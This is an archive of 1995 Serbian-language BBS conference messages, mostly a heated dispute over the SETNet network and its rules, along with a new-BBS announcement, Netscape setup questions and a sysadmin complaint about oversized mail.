Subject: Re: SETNet i ja
Date: Mon, 21 Aug 95 16:57:13 GMT
broker@setnet.co.yu (Predrag Supurovic) writes:
> Zdule, LAZES CIM ZINES!
:):) Ajd majke ti sta sam slagao?!?
> Da, kao kelaga si pljuvao po SETNet-u u ovoj istoj konferenciji i
> istovremeno od mene trazio da ti kolegijalno pomognem informacijama.
> Sorry, dobio si isti oblik kolegijalnosti koji si i ponudio.
Ja sam rekao sta po meni ne valja, sto opet ne znaci da ne bi saradjivali
mada mozda i bolje ovako...
> Sad prvi put cujem da ste to uopste trazili od alenina.
Naravno, jer mu je whellin odmah rekao da odustane od te ideje.
> Pitaj dejana da li je slucajno snimio nas telefonski razgovor, jer bih
> bas voleo da cujem sebe kako govorim da vam ne dam podatke jer hocete
> da rusite setnet itd.. Ja sam Dejanu rekao da cu mu dati sve podatke
> koji mu trebaju. U drugom razgovoru, rekao je da mu to u stvari treba
> da bi dao tebi i ja sam mu jasno i glasno rekao da ih onda nece dobiti
> jer nemam nameru da ti ikako pomazem, posle svega sta si bio u stanju
> da lazes o setnetu i meni.
Aaaa, sta sam ja to rekao da nije istina?!?
> :)))) Kad ne mozes da nam doskocis svojim kvalitetom, onda nas optuzuj
> da smo monopolisti. Sta to drzimo u monopolu? Modeme? Racunare?
> Telefonske linije? Korisnike? Mozda imamo kopirajt na formiranje
> mreza pa nikom drugom ne dozvoljavamo da pravi svoje?
Pa i doskacem polako,polako nemoj se ti samo sekirati, a sto se monopola
tice ti ne drzis monopol (i ne mozes) samo to zelis.
> Idi begaj... Mi imamo samo ono sto smo sami nabavili ili napravili.
> Ti to ne umes pa onda hoces sve na gotovo. E vidis ne mozes i da
> pljujes po nama i da od nas dobijas sve sto zelis. Ako se pozivas
> na kolegijalnost prvo sam treba da se ponasas kolegijalno.
Struktura msg-a zauzima 2-3kb tako da sam ja to mogao lepo i da skinem
mail-om iz sveta ali namerno sam rekao whellinu da te pita da vidim
reakciju.
> I na kraju, naravno, ovo je sve licno izmedju nas dvojice i nema
> potrebe da tu mesas SETNet.
Pa to i ja rekoh, ja napadnem tebe a ti posle kazes kako sam ja napao
setnet a ja njega ne diram ljubi ga majka neka egzistira.
> Zanimljivo: kako ljudi lako zaborave i hiljadu 'Da' prvi put kad im
> kazes 'Ne'...
Zaista strasno...
ZDule...
email.1658postmast,
From: nemesis@styx.herkules.co.yu (NEMESIS)
Subject: RE: SETNET I JA
Date: Mon, 21 Aug 95 17:09:00 +0100
---> Idi begaj... Mi imamo samo ono sto smo sami nabavili ili napravili.
---> Ti to ne umes pa onda hoces sve na gotovo. E vidis ne mozes i da
---> pljujes po nama i da od nas dobijas sve sto zelis. Ako se pozivas
---> na kolegijalnost prvo sam treba da se ponasas kolegijalno.
---> I na kraju, naravno, ovo je sve licno izmedju nas dvojice i nema
---> potrebe da tu mesas SETNet.
---> Zanimljivo: kako ljudi lako zaborave i hiljadu 'Da' prvi put kad im
---> kazes 'Ne'...
E supurovicu ...
Vi ste stvorili SETNET za vise od 3 god (valjda)
A BUSY CONNECTION ce da vas stigne za 1 god ...
Pogotoovo kad pocne sponzorisanje BK [braca karic]
i ostalih firmi ..:)))
SETNet bi bio dobra stvar da nema toliko
pravila koja bi nas davila ...
U stvari TI si K_KRIV_ za otvranje BC-a ...:))
Jel da nisi onliko K*NJO poset-u bio bi hao ...
Jos vas je pokopala jedna cinjenica .. to je ono pravilo
da nemoze BBS koji neradi 6 mesesci ..
I tako obeshrabrili GOMILU LJUDI ...
koji bi sigurno dali neki doprinos .. OPSTOJ STVARI@:)
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email.1659postmast,
From: nemesis@styx.herkules.co.yu (NEMESIS)
Subject: RE: OSTALE MREZE I SETNET
Date: Mon, 21 Aug 95 17:09:00 +0100
---> Dobro da si mi to objasnio. Mogao sam da umrem u neznanju. Uvek je dobro
---> cuti kad neko zna da ti objasni kako si pao, mozda drugi put ne uradis
---> isto. Ti mora da zivis na sto mesta odjednom kad sve znas.
---> Vidis zbog ovakvih poruka sam rekao da ce SetNet nazadovati ili
---> stagnirati dok ti imas glavnu rec. Ko stobom moze ovako da saradjuje. Ne
---> trazim javan odgovor.
---> ■ OLX 2.1 TD ■ hAS ANYONE SEEN MY cAPSLOCK KEY?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
A jes ti negde video mojih 6 disketa :))))
Aaaaaaaaa.......??????
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email.1660postmast,
From: nemesis@styx.herkules.co.yu (NEMESIS)
Subject: RE: EMAIL
Date: Mon, 21 Aug 95 17:09:00 +0100
---> Pitanje za moderatora konferencije KOMUNIKACIJE: kakve su sanse da se
utice na
---> ovu ekipu sa BBS-ova da smanje dozivljaj (zao mi je da dam ignore na
svakog
---> postmastera, ali ako se ovako nastavi ne vidm drugo resenje).
---> Poruka za Loncarevica zvanog Anubis: masala, junacino, quotiras 9 Kb
(!!!!!)
---> teksta zbog komentara od 1 reda i to nesuvislog.
---> Najbolje resenje (bar na Sezamu) bi bilo da neko odgovoran (moderator)
malo
---> proceslja poruke pa neku i obrise ... Dejane (ako si ti pozvan da
odgovoris na
---> ovo pitanje ?) - ima li sanse, zaista ???
Onda to vise nebi bilo poruke od tog USER-a nego poruke koje
je napisao tamo neki MODERATOR .. koji radi KO ZNA ZA KOGA :)))
ps.
A sta ako je MODERATOR ..KOMUNJARA SPS-ovac (je SS ovac ali je slicno)
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email.1661postmast,
From: nemesis@styx.herkules.co.yu (NEMESIS)
Subject: RE: EMAIL
Date: Mon, 21 Aug 95 17:09:00 +0100
---> Prosto da se onespokojis gde zivis...Sad sam ponovo gledao onaj
---> film sa Michael-om Duglas-om i Demie Moore u kome ona glumi seficu
---> koja siluje(skoro;) )svog podredenog(kako se zove taj film...nikad
---> da uhavtim naslov...)...
---> Elem u filmu se sve desava u kompjuterskoj kompaniji Digicom koja
---> ima totalno graficki e-mail sistem gde se poruka cita tako sto se
---> nacrta pisamce koje se otvara i otkriva sadrzaj poruke;a kako znas
---> da li imas mail ili ne?Vrlo prosto:na ekranu se vrti "metalizirano"
---> slovo e.Ma muka da te uhvati kad vidis...
---> Najverovatnije da je sve to preterano u filmu,ali me interesuje
---> da li na nekim UNIX grafickim stanicama ili vec necem tako postoji
---> nesto slicno?Ili sam ja propustio pocetak rada Information Super-
---> highway-a?
---> p.s.A tek video conferensing koji imaju...Malesia<->Seattle!!Ma
---> prosto grozno!A ja sad zvao 98 puta Sezamov broj da bi radio na
---> 2400bps...Jebo ti ovakvu drzavu!
A jesi li mozda gledio kad je dasa usao u
npovu vrstu VR-a ???
DA SE USER*SH!!!
Ima HELP koga pozivva glasom .. _ANDJELU_
i pojavise ANDJAEO KOJI TI POMAZE ....
c0000000000000000000l !!!!
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email.1662postmast,
From: nemesis@styx.herkules.co.yu (NEMESIS)
Subject: RE: SETNET I JA
Date: Mon, 21 Aug 95 17:09:00 +0100
---> Dragisa N. Duric (dragisha@hobbiton.CO.YU) wrote:
>> Predrag Supurovic (broker@setnet.co.yu) wrote:
>> -> DM> From: zdule@herkules.co.yu (Dusan Mihajlovic)
>> -> Zdule, LAZES CIM ZINES!
>> Recite mi jel' ovaj nivo ono sto regulise Pravilnik?
---> Tuzno, ali istinito. Toliko polaganja na taj pravilnik i onda serif uradi
---> pogresnu stvar (ima jedna rec koja bi ovo slikovitije opisala). No
normalno,
---> posto je on serif i ima svoje pomocnike, stvar ce se vec izgladiti.
E znate li sta su na WILD WEST-u radili SHERIFIMA KOJI BI PRKRSILI ZAKON !
--> VESANJE PO KRATKOM POSTOPKU <--
potom ga sahrane ali tako .. da niko nezna gde mu je grob ...
Jednostavno nastoje da ga zaborave ...
E sad sledeci put kad navratim u UZICE (ne U ZICE)
poseticu SUPICU ... :)))))))))
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email.1663postmast,
From: nemesis@styx.herkules.co.yu (NEMESIS)
Subject: ASTRA BBS
Date: Mon, 21 Aug 95 22:52:00 +0100
Ljudi pusten je urad novi BBS ...
┌─────────────────────┐
│ AstrA BBS │
│ 011\140-783 │
│ 23-07 EVRY NIGHT ! │
│ 2400 MNP5 │
│ Sysop : MALA │
└─────────────────────┘
Posto BBS jos uvek nije potpuno povezan u
BUSY CONNECTION poruku saljem sa mog bbs-a ...
Inace BBS radi na PCB 15.21
486Dx2 66Mhz
8 Mb RAM
512Mb HDD
itd ..
Za nedelju dve treba da stigne iz TAJVANA
CDROM i 28800Bps ...
Pozovite cisto onako da vidite kako vam se svidja ...
inace JA sam ga konfigurisao ==:)
bye ...
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email.1664postmast,
From: nemesis@styx.herkules.co.yu (NEMESIS)
Subject: STYX BBS
Date: Mon, 21 Aug 95 22:52:00 +0100
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email.1665madamov,
-> #1636, vcalic
> Uopšte, kultura komunikacija na tom YuInt-u je vrlo niska, tako da
> conf ignore postmast uglavnom rešava sve probleme.
Nađe se tu ponešto, evo na primer onaj fajl u sedam poruka o upadanju u
sisteme preko interneta i to preko najobičnijeg ftp-a. A o ostalom neću da
komentarišem, dojadiše sa prepucavanjem. B(
email.1666madamov,
-> #1646, fancy
> Ma zar neko još čita postmast-a u konferencijama..?!?!
Ja, recimo, ali ne sve. Još davno sam istrenirao oko da primeti poruku
koju vredi pročitati dok prst drži pritisnut PgDn taster. B)
email.1667supers,
-> #1654, ppekovic>> Više puta je i ovde i u drugim temama bilo priče o tshost programu
>> koji omogućuje kroišćenje popularnih internet servisa (mail,
>> news, gopher, www, ...) koristeći običan korisnički nalog.
Hvala za info. Upravo mi je to trebalo, da znam kako da ovo
uradim na običnom nalogu.
email.1668wizard,
> Subject: Demokratija & SETNet
Viđao sam poslednjih dana puno poruka sa ovim i sličnim
Subject-om.
Ajde ako je neko pratio o čemu se pričalo da napravi jedan
rezime od ne više od jednog ekrana.
email.1669diabola,
Uspeo sam da pokrenem TWS i Netscape i WWW super radi (FON,ETF...), ali imam
sledeće probleme sa mail i news:
1. Kad hoću da pošaljem e-mail preko mail-a u Netscape-u stalno mi javlja da ne
može da pronađe URL za mail, tako da nema ništa od slanja, čak i kad direktno
izaberem adresu sa WWW strane. Zašto?
2. Što se tiče news on lepo radi sve do trenutka kad hoću da pročitam određenu
poruku i tada javlja da je poruka izbrisana ili da je nema. Zašto?
Napominjem da sam lepo u preferences opciji postavio adrese na mail i news.
Ako ovo sa Netscape ne može da radi šta je onda dobro kao zamena za mail i
news?
email.1670vojas,
-> #1636, vcalic> Uopšte, kultura komunikacija na tom YuInt-u je vrlo niska, tako da
> conf ignore postmast uglavnom rešava sve probleme.
>
> Vlada
Nije samo kultura na niskom nivou... :(( Ja sam nekada držao svoj BBS
i mogu ti reći da je glavni problem u organizaciji svega toga, i da
se ovde sada izgovaraju strašne laži u njihovim diskusijama. Međutim
neću da ulazim u to... Ono što sam u stvari hteo da pitam jeste da li
SEZAM može da bira sa kim će biti povezan ili ne? Ako je to moguće,
možda bi najbolje rešenje bilo da se odseče rak rana...
Heechee of the Ancients
email.1671kuki,
-> #1665, madamov> Nađe se tu ponešto, evo na primer onaj fajl u sedam poruka o upadanju u
> sisteme preko interneta i to preko najobičnijeg ftp-a. A o ostalom neću da
> komentarišem, dojadiše sa prepucavanjem. B(
kad već pomenu taj fajl... :) Dojmi se da fale neki delovi tamo, 2/7, 4/7 i
6/7 (bar se meni tako čini)
email.1672sandro,
-> #1654, ppekovic>> Više puta je i ovde i u drugim temama bilo priče o tshost programu
>> koji omogućuje kroišćenje popularnih internet servisa (mail, news,
>> gopher, www, ...) koristeći običan korisnički nalog.
U kojim se to temama još govori o winsock aplikacijama, nov sam na
tom polju pa bi mi trebala pomoć oko konfiguracije svega toga.
email.1673vitez.koja,
-> #1660, postmast#=> A sta ako je MODERATOR ..KOMUNJARA SPS-ovac (je SS ovac
#=> ali je slicno)
Jao, kuku, lele ;)) Ovakvo čašćavanje davno nisam video. Pa još
na pogrešnu adresu...
email.1674ikordic,
-> #1653, ppekovicRE: TC
=> TC je uz WWW i druge MultiMedia servise hit u svetu. TC komplete za
=> PC možeš da kupiš za relativno male pare. Internet priključak je
Jes'. A kad sam video da uvođenje ISDN-a košta manje od 200,- USD-a plakao
sam (mada izgleda i tamo preko moraš imati veze za neke stvari).
Neverovatno, ali dosta ljudi ga uvodi upravo zbog teleconferencinga, što
znači da će ovo za godinu-dve napolju biti ludilo kao danas WWW, a što opet
znači da će se onih par godina koliko kaskamo za ostatkom sveta umnožavati
geometrijskom progresijom :(
email.1675ppekovic,
-> #1672, sandro>> U kojim se to temama još govori o winsock aplikacijama, nov
>> sam na tom polju pa bi mi trebala pomoć oko konfiguracije
>> svega toga.
PC.OS/windows
Paya
email.1676bkaradzic,
-> #1653, ppekovic
;;; >> Najverovatnije da je sve to preterano u filmu,ali me
;;; >> interesuje da li na nekim UNIX grafickim stanicama ili vec
;;; >> necem tako postoji nesto slicno?Ili sam ja propustio pocetak
;;; >> rada Information Super- highway-a?
;;; Uglavnom za sva poznatija graficka okruzenja (Windows, OS/2, ...)
;;; imas gomilu mailer-a. Na tom polju nema bog zna sta da se novo izmisli
;;; pa nove verzije donose uglavnom nasminkane prethodne, detaljima
;;; slicnim onima koje si video na filmu. Uz to, skoro svi ti mailer-i
;;; podrzavaju tzv. MIME extensions koje dozvoljavaju pored teksta slanje
;;; i slika, zvuka, animacija, programa, itd. itd.
Ovi sysadm uvek zaborave da kazu da to moze negde u svetu, a ne kod
nas! :_((((( To sto ovde objasnjavas coveku ti sam ne dozvoljavas da
se radi na FON-u.
;;; >> p.s.A tek video conferensing koji
;;; >> imaju...Malesia<->Seattle!!Ma prosto grozno!A ja sad zvao 98
;;; >> puta Sezamov broj da bi radio na 2400bps...Jebo ti ovakvu
;;; >> drzavu!
;;; TC je uz WWW i druge MultiMedia servise hit u svetu. TC komplete za
;;; PC mozes da kupis za relativno male pare. Internet prikljucak je
;;; takode relativno jednostavno dobiti. Medutim, skoro sam citao clanak u
;;; novinama koje se zovu Network News ili tako nesto gde jedan gospodin
;;; objasnjava da postojeci komunikacioni kanali nisu jos spremni za
;;; Network MultiMediju i da se plasi da ce u narednim godinama mrezna
;;; infrastruktura konstantno kaskati za potrebama novih MM servisa.
;;; U sve ovo, vec mogu da se uvere svi oni koji su prethodnih meseci
;;; ftp-ovali nesto po Internet-u. Brzina je drasticno smanjena.
Opet treba da se naglasi da se pise o svetu. Kod nas internet email nije
tesko dobiti, ali sta raditi sa njim(?), cak je i FTP-MAIL je zabranjen.
;;; >> puta Sezamov broj da bi radio na 2400bps...Jebo ti ovakvu
;;; >> drzavu!
Koliko ja znam Internet kod nas finansira ministarstvo za nauku
i zbog toga bi trebalo da svako ima bar email (bez ogranicenja!),
ali to u praksi nije tako, cim sysadm vidi nesto duze od 50k on
ce da te upozori, sem ako nije na godisnjem, onda nema nikakvih
ogranicenja i sve lepo funkcionise (nema opterecenja, visokih
jupak racuna,...) dok se on ne vrati:(((((((((
Sysadm moze da ti odsece email bez ikakvog upozorenja i posle kad
ga pitas zasto je to uradio, on ti kaze "e pa to su pravila igre".
email.1678ppekovic,
-> #1676, bkaradzic>> Ovi sysadm uvek zaborave da kazu da to moze negde u svetu, a
>> ne kod nas! :_((((( To sto ovde objasnjavas coveku ti sam ne
>> dozvoljavas da se radi na FON-u.
Dve neistine i to obe vrlo bezvezne, verovatno uslovljene sledećim:
>> Opet treba da se naglasi da se pise o svetu. Kod nas internet
>> email nije tesko dobiti, ali sta raditi sa njim(?), cak je i
>> FTP-MAIL je zabranjen.
...
>> Koliko ja znam Internet kod nas finansira ministarstvo za
>> nauku i zbog toga bi trebalo da svako ima bar email (bez
>> ogranicenja!), ali to u praksi nije tako, cim sysadm vidi
>> nesto duze od 50k on ce da te upozori, sem ako nije na
>> godisnjem, onda nema nikakvih ogranicenja i sve lepo
>> funkcionise (nema opterecenja, visokih jupak racuna,...) dok
>> se on ne vrati:((((((((( Sysadm moze da ti odsece email bez
>> ikakvog upozorenja i posle kad ga pitas zasto je to uradio, on
>> ti kaze "e pa to su pravila igre".
Prof. Radenković i ja u proseku provodimo dnevno po sat do dva
čisteći spool-ove od megabajtnih datoteka, često poslatih u 8-bitnoj
formi. Kada neko pošalje fajl od recimo 1M često se dešava sledeće:
prenos počne, dogura do xxxK i onda veza pukne. Sledeći poziv, idemo
ispočetka. U danima kada je loša veza, dešava se da ovakve fajle
zakrče kompletan mail ponekad i na više časova.
Dakle, praviš meni posao, praviš velike račune, pored toga što znaš
da je zabranjeno prenositi datoteke to radiš, zbog tvoje bahatosti
privatna pošta drugim korisnica kasni često i više časova i još povrh
svega tebi nešto nije pravo. Tužno. :(((
Na kraju, sve ovo nisi pravio sa svog naloga, jer ti nalog na
FON-Net-u nemaš. Naravno, nalog koji si koristio nećeš više moći da
koristiš.
Paya
email.1679postmast,
From: dusan.djordjevic@rstones.durlan.co.yu (Dusan Djordjevic)
Subject: Re: rusenje bblink-a
Date: Wed, 23 Aug 1995 23:56:00 CET
QWK To: Uucp
Molim sve ljude koji se ovde raspravljaju o raznoraznim pravilnicima
raznoraznih mreza da imaju u vidu jednu stvar. U svim tim pravinicima stoji
da nije lepo stvarati sum u nekoj konferenciji. Imate bre mail pa se
dopisujte i pljujte jedni po drugima do mile volje, pustite nas, ostale
korisnike, da ovu konferenciju koristimo za ono cemu je namenjena.
... Go straight to the docs. Do not pass GO. Do not collect $200!
--- Blue Wave/Max v2.12 [NR]
* Origin: Rolling Stones BBS * YUInt - NiNet - U'NI-net -
FidoNet (2:382/105.5)
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email.1680postmast,
From: aleck@galeb.etf.bg.ac.yu (Aleksandar Vacic)
Subject: Re: EMAIL
Date: Wed, 23 Aug 1995 23:48:59 GMT
BERI@UBBG.ETF.BG.AC.YU (Berislav Todorovic) wrote:
Za one koji takav
>racunar nisu videli - radne stanice su opremljene minijaturnom kamerom
>i mikrofonom (sa mogucnoscu prikljucenja video-kamere i mikrofona).
Video sam ovo,bilo je na Novoteh-u '94.Bila je instalirana mini
mreza sa 2 ili 3 SGI-ja sa tim mikrofonima i kamerama(chudo jedno,
velichine upaljacha).Opremu su doneli ljudi iz EI SiGraf-a.